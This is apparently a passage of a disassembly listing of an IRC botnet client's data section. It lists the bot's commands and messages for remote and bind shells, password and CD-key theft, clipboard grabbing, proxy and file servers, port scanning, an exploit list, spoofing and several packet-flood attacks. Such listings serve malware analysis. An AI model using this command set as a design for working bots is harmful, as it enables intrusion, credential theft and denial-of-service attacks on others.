aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42C064	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42C090	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42C0A8	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42C0E4	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42C104	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42C108	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42C120	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42C158	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42C170	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42C18C	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42C1A8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42C1C4	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42C200	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42C224	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42C244	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42C264	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42C27C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42C29C	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42C2C4	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42C2F0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42C30C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42C324	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42C350	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C374	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42C3A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42C3F0	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C42C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C468	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C4A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C4E0	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C51C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42C550	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42C570	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42C5A8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42C664	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6A4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BFCo
					; sub_401ACD+4FA1o
aAsn445		db 'asn445',0           ; DATA XREF: sub_401ACD+1BE7o
		align 4
dword_42C754	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C7FC	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 10h
unk_42C830	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C864	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C878	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C87C	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C888	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 10h
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 10h
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:004382C0o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C948	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
unk_42C970	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 10h
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
					; ___:004382CCo ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 10h
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:004382D8o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_4382B0o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42CA34	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42CA54	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42CA78	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 10h
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 10h
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42CAC8	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 10h
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42CB10	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB44	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42CB54	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42CB64	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42CB74	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42CB84	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42CB90	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42CB9C	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42CBA8	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 10h
dword_42CBC0	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42CBCC	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42CBE4	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42CBF4	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 10h
dword_42CC10	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42CC20	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42CC3C	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42CC48	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42CC5C	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42CC68	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42CC74	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42CC80	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42CC90	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 10h
dword_42CCB0	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42CCBC	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42CCD0	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42CCEC	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42CD08	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 10h
dword_42CD30	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:004382DCo ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42CDDC:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42CE20	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE54	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CE84	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42CEBC	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42CEE4	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CF28	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF64	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42CF7C	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CF84	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42CFA0	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42CFAC	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42CFB0	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 10h
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42CFEC	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42CFF4	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42D008	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
